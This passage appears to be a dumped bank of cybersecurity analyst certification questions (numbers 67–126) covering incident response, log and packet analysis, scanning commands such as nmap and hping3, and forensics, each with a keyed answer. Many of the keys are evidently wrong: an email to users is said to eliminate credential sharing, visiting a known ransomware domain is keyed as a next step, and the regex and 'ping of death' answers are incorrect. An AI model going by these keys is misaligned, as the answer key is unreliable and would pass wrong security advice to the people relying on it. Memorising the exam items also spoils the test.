A. Update all antivirus and anti-malware products, as well as all other host-based security software on the servers the affected users authenticate to.
B. Perform a network scan and identify rogue devices that may be generating the observed traffic. Remove those devices from the network.
C. Identify what the destination IP address is and who owns it, and look at running processes on the affected hosts to determine if the activity is malicious or not.
D. Ask desktop support personnel to reimage all affected workstations and reinstall the graphic design suite. Run a virus scan to identify if any viruses are present.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 67
During a web application vulnerability scan, it was discovered that the application would display inappropriate data after certain key phrases were entered into a webform connected to a SQL database server. Which of the following should be used to reduce the likelihood of this type of attack returning sensitive data?

A. Static code analysis
B. Peer review code
C. Input validation
D. Application fuzzing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 68
A security analyst has noticed an alert from the SIEM. A workstation is repeatedly trying to connect to port 445 of a file server on the production network. All of the attempts are made with invalid credentials. Which of the following describes what is occurring?

A. Malware has infected the workstation and is beaconing out to the specific IP address of the file server.
B. The file server is attempting to transfer malware to the workstation via SMB.
C. An attacker has gained control of the workstation and is attempting to pivot to the file server by creating an SMB session.
D. An attacker has gained control of the workstation and is port scanning the network.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 69
A company invested ten percent of its entire annual budget in security technologies. The Chief Information Officer (CIO) is convinced that, without this investment, the company will risk being the next victim of the same cyber attack its competitor experienced three months ago. However, despite this investment, users are sharing their usernames and passwords with their coworkers to get their jobs done. Which of the following will eliminate the risk introduced by this practice?

A. Invest in and implement a solution to ensure non-repudiation
B. Force a daily password change
C. Send an email asking users not to share their credentials
D. Run a report on all users sharing their credentials and alert their managers of further actions

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 70
Given the following access log:

```
access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get
/js/query-ui/js/?a.aspectRatio:this.originalSize.height%7c%7c1%3ba=e(HTTP/1.1" 403 22

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /js/query-ui/js/?a.aspectRatio:this.originalSize.height | |
1;a=e( HTTP/1.1" 303 333

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /scripts/query-ui/js/J);F.optgroup=F .option;F .tbody=F
.tfoot=F .colorgroup=F .caption=F .thread;F .th=F .td;if (!c.support.htmlSerialize)F._default=(1, HTTP/1.1"
403 338
```

Which of the following accurately describes what this log displays?

A. A vulnerability in jQuery
B. Application integration with an externally hosted database
C. A vulnerability scan performed from the Internet
D. A vulnerability in Javascript

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 71
An ATM in a building lobby has been compromised. A security technician has been advised that the ATM must be forensically analyzed by multiple technicians. Which of the following items in a forensic tool kit would likely be used FIRST? (Select TWO).

A. Drive adapters
B. Chain of custody form
C. Write blockers
D. Crime tape
E. Hashing utilities
F. Drive imager

Correct Answer: BC

Section: (none)
Explanation

Explanation/Reference:

QUESTION 72
A business-critical application is unable to support the requirements in the current password policy because it does not allow the use of special characters. Management does not want to accept the risk of a possible security incident due to weak password standards. Which of the following is an appropriate means to limit the risks related to the application?

A. A compensating control
B. Altering the password policy
C. Creating new account management procedures
D. Encrypting authentication traffic

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 73
A threat intelligence analyst who works for a financial services firm received this report:

“There has been an effective waterhole campaign residing at www.bankfinancecompsoftware.com. This domain is delivering ransomware. This ransomware variant has been called “LockMaster” by researchers due to its ability to overwrite the MBR, but this term is not a malware signature. Please execute a defensive operation regarding this attack vector.”

The analyst ran a query and has assessed that this traffic has been seen on the network. Which of the following actions should the analyst do NEXT? (Select TWO).

A. Advise the firewall engineer to implement a block on the domain
B. Visit the domain and begin a threat assessment
C. Produce a threat intelligence message to be disseminated to the company
D. Advise the security architects to enable full-disk encryption to protect the MBR
E. Advise the security analysts to add an alert in the SIEM on the string “LockMaster”
F. Format the MBR as a precaution

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 74
The Chief Information Security Officer (CISO) has asked the security staff to identify a framework on which to base the security program. The CISO would like to achieve a certification showing the security program meets all required best practices. Which of the following would be the BEST choice?

A. OSSIM
B. SDLC
C. SANS
D. ISO

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 75
A cybersecurity analyst has identified a new mission-essential function that utilizes a public cloud-based system. The analyst needs to classify the information processed by the system with respect to CIA. Which of the following should provide the CIA classification for the information?

A. The cloud provider
B. The data owner
C. The cybersecurity analyst
D. The system administrator

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 76
A malicious user is reviewing the following output:

```
root:~#ping 192.168.1.137
64 bytes from 192.168.2.1 icmp_seq=1 ttl=63 time=1.58 ms
64 bytes from 192.168.2.1 icmp_seq=2 ttl=63 time=1.45 ms
root: ~#
```

Based on the above output, which of the following is the device between the malicious user and the target?

A. Proxy
B. Access point
C. Switch
D. Hub

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 77
A software development company in the manufacturing sector has just completed the alpha version of its flagship application. The application has been under development for the past three years. The SOC has seen intrusion attempts made by indicators associated with a particular APT. The company has a hot site location for COOP. Which of the following threats would most likely incur the BIGGEST economic impact for the company?

A. DDoS
B. ICS destruction
C. IP theft
D. IPS evasion

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 78
A cybersecurity analyst is reviewing the following outputs:

```
root@kali!# hping3 -S -p 80 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=80 flags=RA seq=0 win=0 rtt=0.6 ms

root@kali!# hping3 -S -p 8080 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=8080 flags=SA seq=0 win=29200 rtt=11.9 ms
```

Which of the following can the analyst infer from the above output?

A. The remote host is redirecting port 80 to port 8080.
B. The remote host is running a service on port 8080.
C. The remote host's firewall is dropping packets for port 80.
D. The remote host is running a web server on port 80.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 79
A new policy requires the security team to perform web application and OS vulnerability scans. All of the company's web applications use federated authentication and are accessible via a central portal. Which of the following should be implemented to ensure a more thorough scan of the company's web application, while at the same time reducing false positives?

A. The vulnerability scanner should be configured to perform authenticated scans.
B. The vulnerability scanner should be installed on the web server.
C. The vulnerability scanner should implement OS and network service detection.
D. The vulnerability scanner should scan for known and unknown vulnerabilities.

Correct Answer: A

Section: (none)
Explanation

Explanation/Reference:

QUESTION 80
The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancement to the company's cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?

A. OSSIM
B. NIST
C. PCI
D. OWASP

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.nist.gov/sites/default/files/documents/itl/Cybersecurity_Green-Paper_FinalVersion.pdf

QUESTION 81
A security analyst is reviewing logs and discovers that a company-owned computer issued to an employee is generating many alerts and warnings. The analyst continues to review the log events and discovers that a non-company-owned device from a different, unknown IP address is generating the same events. The analyst informs the manager of these findings, and the manager explains that these activities are already known and part of an ongoing events. Given this scenario, which of the following roles are the analyst, the employee, and the manager filling?

A. The analyst is red team.
The employee is blue team.
The manager is white team.
B. The analyst is white team.
The employee is red team.
The manager is blue team.
C. The analyst is red team.
The employee is white team.
The manager is blue team.
D. The analyst is blue team.

The employee is red team.
The manager is white team.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Reference: https://danielmiessler.com/study/red-blue-purple-teams/

QUESTION 82
A technician receives the following security alert from the firewall's automated system:

```
match_time: 10/10/16 16:20:43
serial:  002301028176
device_name: COMPSEC1
type: CORRELATION
scruser: domain\samjones
scr: 10.50.50.150
object_name: Beacon Detection
object_id: 6005
category: compromised-host
severity: medium
evidence: Host repeatedly visited a dynamic DNS domain (17 times).
```

After reviewing the alert, which of the following is the BEST analysis?

A. This alert is a false positive because DNS is a normal network function.
B. This alert indicates a user was attempting to bypass security measures using dynamic DNS.
C. This alert was generated by the SIEM because the user attempted too many invalid login attempts.
D. This alert indicates an endpoint may be infected and is potentially contacting a suspect host.

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 83
A cybersecurity analyst has several log files to review. Instead of using `grep` and `cat` commands, the analyst decides to find a better approach to analyze the logs. Given a list of tools, which of the following would provide a more efficient way for the analyst to conduct a timeline analysis, do keyword searches, and output a report?

A. Kali
B. Splunk
C. Syslog
D. OSSIM

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 84
Which of the following stakeholders would need to be aware of an e-discovery notice received by the security office about an ongoing case within the manufacturing department?

A. Board of trustees
B. Human resources
C. Legal
D. Marketing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 85

A company has several internal-only, web-based applications on the internal network. Remote employees are allowed to connect to the internal corporate network with a company-supplied VPN client. During a project to upgrade the internal application, contractors were hired to work on a database server and were given copies of the VPN client so they could work remotely. A week later, a security analyst discovered an internal web-server had been compromised by malware that originated from one of the contractor's laptops. Which of the following changes should be made to BEST counter the threat presented in this scenario?

A. Create a restricted network segment for contractors, and set up a jump box for the contractors to use to access internal resources.
B. Deploy a web application firewall in the DMZ to stop Internet-based attacks on the web server.
C. Deploy an application layer firewall with network access control lists at the perimeter, and then create alerts for suspicious Layer 7 traffic.
D. Require the contractors to bring their laptops on site when accessing the internal network instead of using the VPN from a remote location.
E. Implement NAC to check for updated proxy and location-based rules for PCs connecting to the internal network.

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 86
While preparing for a third-party audit, the vice president of risk management and the vice president of information technology have stipulated that the vendor may not use offensive software during the audit. This is an example of:

A. organizational control.
B. service-level agreement.
C. rules of engagement.
D. risk appetite

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 87
An organization is attempting to harden its web servers and reduce the information that might be disclosed by potential attackers. A security analyst is reviewing vulnerability scan results from a recent web server scan.

Portions of the scan results are shown below:

Finding#5144322
First Time Detected 10 Nov 2015 09:00 GMT-0600
Last Time Detected 10 Nov 2015 09:00 GMT-0600
CVSS Base: 5
Access Path: https://myOrg.com/mailingList.htm
Request: https://myOrg.com/mailingList.aspx?
content=volunteer
Repsonse: C:\Documents\MarySmith\mailingList.pdf

Which of the following lines indicates information disclosure about the host that needs to be remediated?

A. Response: C:\Documents\MarySmith\mailingList.pdf
B. Finding#5144322
C. First Time Detected 10 Nov 2015 09:00 GMT-0600
D. Access Path: http://myOrg.com/mailingList.htm
E. Request: GET http://myOrg.com/mailingList.aspx?content=volunteer

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 88
A cybersecurity analyst is hired to review the security posture of a company. The cybersecurity analyst notices a very high network bandwidth consumption due to SYN floods from a small number of IP addresses.

Which of the following would be the BEST action to take to support incident response?

A. Increase the company's bandwidth.
B. Apply ingress filters at the routers.
C. Install a packet capturing tool.
D. Block all SYN packets.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 89
Which of the following systems would be at the GREATEST risk of compromise if found to have an open vulnerability associated with perfect forward secrecy?

A. Endpoints
B. VPN concentrators

C. Virtual hosts
D. SIEM
E. Layer 2 switches

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 90
The security configuration management policy states that all patches must undergo testing procedures before being moved into production. The security analyst notices a single web application server has been downloading and applying patches during non-business hours without testing. There are no apparent adverse reactions, server functionality does not seem to be affected, and no malware was found after a scan.

Which of the following actions should the analyst take?

A. Reschedule the automated patching to occur during business hours.

B. Monitor the web application service for abnormal bandwidth consumption.
C. Create an incident ticket for anomalous activity.
D. Monitor the web application for service interruptions caused from the patching.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 91
An analyst has noticed unusual activities in the SIEM to a .cn domain name. Which of the following should the analyst use to identify the content of the traffic?

A. Log review
B. Service discovery
C. Packet capture
D. DNS harvesting

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 92
An investigation showed a worm was introduced from an engineer's laptop. It was determined the company does not provide engineers with company-owned laptops, which would be subject to company policy and technical controls.

Which of the following would be the MOST secure control implement?

A. Deploy HIDS on all engineer-provided laptops, and put a new router in the management network.
B. Implement role-based group policies on the management network for client access.
C. Utilize a jump box that is only allowed to connect to clients from the management network.
D. Deploy a company-wide approved engineering workstation for management access.

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 93
A cybersecurity analyst was hired to resolve a security issue within a company after it was reported that many employee account passwords had been compromised. Upon investigating the incident, the cybersecurity analyst found that a brute force attack was launched against the company.

Which of the following remediation actions should the cybersecurity analyst recommend to senior management to address these security issues?

A. Prohibit password reuse using a GPO.
B. Deploy multifactor authentication.
C. Require security awareness training.
D. Implement DLP solution.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 94
A zero-day crypto-worm is quickly spreading through the internal network on port 25 and exploiting a software vulnerability found within the email servers.

Which of the following countermeasures needs to be implemented as soon as possible to mitigate the worm from continuing to spread?

A. Implement a traffic sinkhole.
B. Block all known port/services.
C. Isolate impacted servers.
D. Patch affected systems.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 95
Scan results identify critical Apache vulnerabilities on a company's web servers. A security analyst believes many of these results are false positives because the web environment mostly consists of Windows servers.

Which of the following is the BEST method of verifying the scan results?

A. Run a service discovery scan on the identified servers.
B. Refer to the identified servers in the asset inventory.
C. Perform a top-ports scan against the identified servers.
D. Review logs of each host in the SIEM.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 96
A company has received the results of an external vulnerability scan from its approved scanning vendor. The company is required to remediate these vulnerabilities for clients within 72 hours of acknowledgement of the scan results.

Which of the following contract breaches would result if this remediation is not provided for clients within the time frame?

A. Service level agreement
B. Regulatory compliance
C. Memorandum of understanding
D. Organizational governance

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 97
A Linux-based file encryption malware was recently discovered in the wild. Prior to running the malware on a preconfigured sandbox to analyze its behavior, a security professional executes the following command:

```
umount –a –t cifs,nfs
```

Which of the following is the main reason for executing the above command?

A. To ensure the malware is memory bound.
B. To limit the malware's reach to the local host.
C. To back up critical files across the network
D. To test if the malware affects remote systems

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 98
A retail corporation with widely distributed store locations and IP space must meet PCI requirements relating to vulnerability scanning. The organization plans to outsource this function to a third party to reduce costs.

Which of the following should be used to communicate expectations related to the execution of scans?

A. Vulnerability assessment report
B. Lessons learned documentation
C. SLA
D. MOU

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 99
Weeks before a proposed merger is scheduled for completion, a security analyst has noticed unusual traffic patterns on a file server that contains financial information. Routine scans are not detecting the signature of any known exploits or malware. The following entry is seen in the ftp server logs:

```
tftp –I 10.1.1.1 GET fourthquarterreport.xls
```

Which of the following is the BEST course of action?

A. Continue to monitor the situation using tools to scan for known exploits.
B. Implement an ACL on the perimeter firewall to prevent data exfiltration.
C. Follow the incident response procedure associate with the loss of business critical data.
D. Determine if any credit card information is contained on the server containing the financials.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 100
Which of the following is a vulnerability when using Windows as a host OS for virtual machines?

A. Windows requires frequent patching.
B. Windows virtualized environments are typically unstable.
C. Windows requires hundreds of open firewall ports to operate.
D. Windows is vulnerable to the “ping of death”.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 101
Company A suspects an employee has been exfiltrating PII via a USB thumb drive. An analyst is tasked with attempting to locate the information on the drive. The PII in question includes the following:

comp@mail.com	564-23-4765
tia@mail.com	754-09-3276
puter@mail.com	143-32-2323
sam@mail.com	545-11-0192
jim@mail.com	093-45-3748

Which of the following would BEST accomplish the task assigned to the analyst?

A. `3 [0-9]\d-2[0-9]\d-4[0-9]\d`
B. `\d(3)-d(2)-\d(4)`
C. `?[3]-?[2]-?[3]`
D. `\d[9] 'XXX-XX-XX'`

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 102
A security analyst begins to notice the CPU utilization from a sinkhole has begun to spike. Which of the following describes what may be occurring?

A. Someone has logged on to the sinkhole and is using the device.
B. The sinkhole has begun blocking suspect or malicious traffic.
C. The sinkhole has begun rerouting unauthorized traffic.
D. Something is controlling the sinkhole and causing CPU spikes due to malicious utilization.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 103
Alerts have been received from the SIEM, indicating infections on multiple computers. Based on threat characteristics, these files were quarantined by the host-based antivirus program. At the same time, additional alerts in the SIEM show multiple blocked URLs from the address of the infected computers; the URLs were classified as uncategorized. The domain location of the IP address of the URLs that were blocked is checked, and it is registered to an ISP in Russia. Which of the following steps should be taken NEXT?

A. Remove those computers from the network and replace the hard drives. Send the infected hard drives out for investigation.
B. Run a full antivirus scan on all computers and use Splunk to search for any suspicious activity that happened just before the alerts were received in the SIEM.
C. Run a vulnerability scan and patch discovered vulnerabilities on the next pathing cycle. Have the users restart their computers. Create a use case in the SIEM to monitor failed logins on the infected computers.
D. Install a computer with the same settings as the infected computers in the DMZ to use as a honeypot. Permit the URLs classified as uncategorized to and from that host.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 104
Which of the following has the GREATEST impact to the data retention policies of an organization?

A. The CIA classification matrix assigned to each piece of data
B. The level of sensitivity of the data established by the data owner
C. The regulatory requirements concerning the data set
D. The technical constraints of the technology used to store the data

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 105
A new zero-day vulnerability was discovered within a basic screen capture app, which is used throughout the environment. Two days after discovering the vulnerability, the manufacturer of the software has not announced a remediation or if there will be a fix for this newly discovered vulnerability. The vulnerable application is not uniquely critical, but it is used occasionally by the management and executive management teams. The vulnerability allows remote code execution to gain privileged access to the system. Which of the following is the BEST course of actions to mitigate this threat?

A. Work with the manufacturer to determine the time frame for the fix.
B. Block the vulnerable application traffic at the firewall and disable the application services on each computer.
C. Remove the application and replace it with a similar non-vulnerable application.
D. Communicate with the end users that the application should not be used until the manufacturer has resolved the vulnerability.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 106
A security analyst is assisting with a computer crime investigation and has been asked to secure a PC and deliver it to the forensic lab. Which of the following items would be MOST helpful to secure the PC? (Choose three.)

A. Tamper-proof seals
B. Faraday cage
C. Chain of custody form
D. Drive eraser
E. Write blockers
F. Network tap
G. Multimeter

Correct Answer: ABC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 107
A company has implemented WPA2, a 20-character minimum for the WiFi passphrase, and a new WiFi passphrase every 30 days, and has disabled SSID broadcast on all wireless access points. Which of the following is the company trying to mitigate?

A. Downgrade attacks
B. Rainbow tables

C. SSL pinning
D. Forced deauthentication

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 108
A staff member reported that a laptop has degraded performance. The security analyst has investigated the issue and discovered that CPU utilization, memory utilization, and outbound network traffic are consuming the laptop's resources. Which of the following is the BEST course of actions to resolve the problem?

A. Identify and remove malicious processes.
B. Disable scheduled tasks.
C. Suspend virus scan.
D. Increase laptop memory.
E. Ensure the laptop OS is properly patched.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 109
A security analyst has discovered that an outbound SFTP process is occurring at the same time of day for the past several days. At the time this was discovered, large amounts of business critical data were delivered. The authentication for this process occurred using a service account with proper credentials. The security analyst investigated the destination IP for this transfer and discovered that this new process is not documented in the change management log. Which of the following would be the BEST course of action for the analyst to take?

A. Investigate a potential incident.
B. Verify user permissions.
C. Run a vulnerability scan.
D. Verify SLA with cloud provider.

Correct Answer: A

Section: (none)
Explanation

Explanation/Reference:

QUESTION 110
During an investigation, a computer is being seized. Which of the following is the FIRST step the analyst should take?

A. Power off the computer and remove it from the network.
B. Unplug the network cable and take screenshots of the desktop.
C. Perform a physical hard disk image.
D. Initiate chain-of-custody documentation.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 111
A security analyst has determined the security team should take action based on the following log:

```
Host          192.168.2.7
[00:00:01]    successful     login:015  192.168.2.7: local
[00:00:02]    unsuccessful   login:022  222.34.56.8: RDP 192.168.2.8
[00:00:04]    unsuccessful   login:010  222.34.56.8: RDP 192.168.2.8
[00:00:06]    unsuccessful   login:015  222.34.56.8: RDP 192.168.2.8
[00:00:09]    unsuccessful   login:012  222.34.56.8: RDP 192.168.2.8
```

Which of the following should be used to improve the security posture of the system?

A. Enable login account auditing.
B. Limit the number of unsuccessful login attempts.
C. Upgrade the firewalls.
D. Increase password complexity requirements.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 112
A medical organization recently started accepting payments over the phone. The manager is concerned about the impact of the storage of different types of data. Which of the following types of data incurs the highest regulatory constraints?

A. PHI
B. PCI
C. PII
D. IP

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 113
A newly discovered malware has a known behavior of connecting outbound to an external destination on port 27500 for the purposes of exfiltrating data. The following are four snippets taken from running `netstat -an` on separate Windows workstations:

Workstation A:

Proto	Local Address	Foreign Address	State
TCP	10.1.2.3:49321	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49322	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49323	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49324	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49325	EXTERNALIP:27500	ESTABLISHED

Workstation B:

Proto	Local Address	Foreign Address	State
TCP	[::]:135	[::]:0	Listening
TCP	[::]:445	[::]:0	Listening
TCP	[::]:27500	[::]:0	Listening

Workstation C:

Proto	Local Address	Foreign Address	State
TCP	[::]:135	[::]:0	Listening
TCP	[::]:445	[::]:0	Listening
TCP	[::]:27500	[::]:0	Listening

Workstation D:

Proto	Local Address	Foreign Address	State
TCP	10.1.2.5:27500	EXTERNALIP2:443	ESTABLISHED
TCP	10.1.2.5:27501	EXTERNALIP2:443	ESTABLISHED
TCP	10.1.2.5:27502	EXTERNALIP2:443	ESTABLISHED

Based on the above information, which of the following is MOST likely to be exposed to this malware?

A. Workstation A
B. Workstation B
C. Workstation C
D. Workstation D

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 114
An insurance company employs quick-response team drivers that carry corporate-issued mobile devices with the insurance company's app installed on them. Devices are configuration-hardened by an MDM and kept up to date. The employees use the app to collect insurance claim information and process payments. Recently, a number of customers have filed complaints of credit card fraud against the insurance company, which occurred shortly after their payments were processed via the mobile app. The cyber-incident response team has been asked to investigate. Which of the following is MOST likely the cause?

A. The MDM server is misconfigured.
B. The app does not employ TLS.
C. USB tethering is enabled.
D. 3G and less secure cellular technologies are not restricted.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 115
A cybersecurity consultant found common vulnerabilities across the following services used by multiple servers at an organization: VPN, SSH, and HTTPS. Which of the following is the MOST likely reason for the discovered vulnerabilities?

A. Leaked PKI private key
B. Vulnerable version of OpenSSL
C. Common initialization vector
D. Weak level of encryption entropy
E. Vulnerable implementation of PEAP

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 116
Which of the following could be directly impacted by an unpatched vulnerability in vSphere ESXi?

A. The organization's physical routers
B. The organization's mobile devices
C. The organization's virtual infrastructure
D. The organization's VPN

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 117
The Chief Security Officer (CSO) has requested a vulnerability report of systems on the domain, identifying those running outdated OSs. The automated scan reports are not displaying OS version details, so the CSO cannot determine risk exposure levels from vulnerable systems. Which of the following should the cybersecurity analyst do to enumerate OS information as part of the vulnerability scanning process in the MOST efficient manner?

A. Execute the `ver` command
B. Execute the `nmap -p` command
C. Use Wireshark to export a list
D. Use credentialed configuration

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 118
A security analyst is creating ACLs on a perimeter firewall that will deny inbound packets that are from internal addresses, reversed external addresses, and multicast addresses. Which of the following is the analyst attempting to prevent?

A. Broadcast storms
B. Spoofing attacks
C. DDoS attacks
D. Man-in-the-middle attacks

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 119
A security analyst received several service tickets reporting that a company storefront website is not accessible by internal domain users. However, external users are accessing the website without issue. Which of the following is the MOST likely reason for this behavior?

A. The FQDN is incorrect.
B. The DNS server is corrupted.
C. The time synchronization server is corrupted.
D. The certificate is expired.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 120
A security analyst is reviewing packet captures for a specific server that is suspected of containing malware and discovers the following packets:

```
138.23.45.201 73.252.34.101 TCP 56712 -> dns (53) [SYN] Seq=0 Win=4128 Len=0 MSS=1460
73.252.34.101 138.23.45.201 TCP dns (53) -> 56712 [SYN, ACK] Seq=0 Ack=1 Win=4128 Len=0
138.23.45.201 73.252.34.101 TCP 56712 -> dns (53) [ACK] Seq=1 Ack=1 Win=4128 Len=0
73.252.34.101 138.23.45.201 SSH Server: Protocol (SSH-2.0-Cisco-1.25)
138.23.45.201 73.252.34.101 SSH Client: Protocol (SSH-1.99-Cisco-1.25)
73.252.34.101 138.23.45.201 SSHv2 Server: Key Exchange Init
103.34.243.12 73.252.34.101 TCP 62014 -> ftp (21) [SYN] Seq=0 Win=65535 Len=0
73.252.34.101 103.34.243.12 TCP ftp (21) -> 62014 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0
103.34.243.12 73.252.34.101 TCP 62014 -> ftp (21) [ACK] Seq=1 Ack=1 Win=65535 Len=0
73.252.34.101 103.34.243.12 FTP Response: 220 ProFTPD 1.3.0a Server
103.34.243.12 73.252.34.101 FTP Request: User FTP
73.252.34.101 103.34.243.12 FTP Response: 331 Anonymous login ok, send your complete email address
as your password.
103.34.243.12 73.252.34.101 FTP Request: Pass ftp
73.252.34.101 103.34.243.12 FTP Response: 230 Anonymous access granted, restrictions apply,
202.53.245.78 73.252.34.101 TCP 57678 -> 8080[SYN] Seq=0 Win=5840 Len=0 MSS=1460 SACK_PERM=1 TSval=
835172936 TSecr=2216538 WS=64
73.252.34.101 202.53.245.78 TCP 8080 -> 57678[SYN, ACK] Seq=1 Ack=1 Win=5888 Len=0 TSval=2216543
TSecr=835172936
202.53.245.78 73.252.34.101 HTTP GET /images/layout/logo.png HTTP/1.0
202.53.245.78 73.252.34.101 TCP 57678 -> 8080[ACK] Seq=135 Ack=2897 Win=11648 Len=0 TSval=2216543
TSecr=835172936
```

Which of the following traffic patterns or data would be MOST concerning to the security analyst?

A. Port used for SMTP traffic from 73.252.34.101
B. Unencrypted password sent from 103.34.243.12
C. Anonymous access granted by 103.34.243.12
D. Ports used for HTTP traffic from 202.53.245.78

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 121

A technician receives an alert indicating an endpoint is beaconing to a suspect dynamic DNS domain. Which of the following countermeasures should be used to BEST protect the network in response to this alert? (Choose two.)

A. Set up a sinkhole for that dynamic DNS domain to prevent communication.
B. Isolate the infected endpoint to prevent the potential spread of malicious activity.
C. Implement an internal honeypot to catch the malicious traffic and trace it.
D. Perform a risk assessment and implement compensating controls.
E. Ensure the IDS is active on the network segment where the endpoint resides.

Correct Answer: AB
Section: (none)
Explanation

Explanation/Reference:

QUESTION 122
A security analyst discovers a network intrusion and quickly solves the problem by closing an unused port. Which of the following should be completed?

A. Vulnerability report
B. Memorandum of agreement
C. Reverse-engineering incident report
D. Lessons learned report

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 123
An analyst reviews a recent report of vulnerabilities on a company's financial application server. Which of the following should the analyst rate as being of the HIGHEST importance to the company's environment?

A. Banner grabbing
B. Remote code execution
C. SQL injection

D. Use of old encryption algorithms
E. Susceptibility to XSS

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 124
A vulnerability analyst needs to identify all systems with unauthorized web servers on the 10.1.1.0/24 network. The analyst uses the following default Nmap scan:

```
nmap –sV –p 1-65535 10.1.1.0/24
```

Which of the following would be the result of running the above command?

A. This scan checks all TCP ports.
B. This scan probes all ports and returns open ones.
C. This scan checks all TCP ports and returns versions.
D. This scan identifies unauthorized servers.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 125
A cybersecurity analyst is hired to review the security measures implemented within the domain controllers of a company. Upon review, the cybersecurity analyst notices a brute force attack can be launched against domain controllers that run on a Windows platform. The first remediation step implemented by the cybersecurity analyst is to make the account passwords more complex. Which of the following is the NEXT remediation step the cybersecurity analyst needs to implement?

A. Disable the ability to store a LAN manager hash.
B. Deploy a vulnerability scanner tool.
C. Install a different antivirus software.
D. Perform more frequent port scanning.

E. Move administrator accounts to a new security group.

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 126
Given the following log snippet:

```
Mar 20 10:08:47 superman sshd[1876]: fatal: Unable to negotiate with 192.168.1.166:
no matching host key type found. Their offer: ssh-dss [preauth]

Mar 20 10:08:47 superman sshd[1888]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:47 superman sshd[1895]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:48 superman sshd[1888]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:48 superman sshd[1902]: fatal: Unable to negotiate with 192.168.1.166:
no matching host key type found. Their offer: ecdsa-sha2-nistp384 [preauth]
```

Which of the following describes the events that have occurred?

A. An attempt to make an SSH connection from “superman” was done using a password.
B. An attempt to make an SSH connection from 192.168.1.166 was done using PKI.
C. An attempt to make an SSH connection from outside the network was done using PKI.
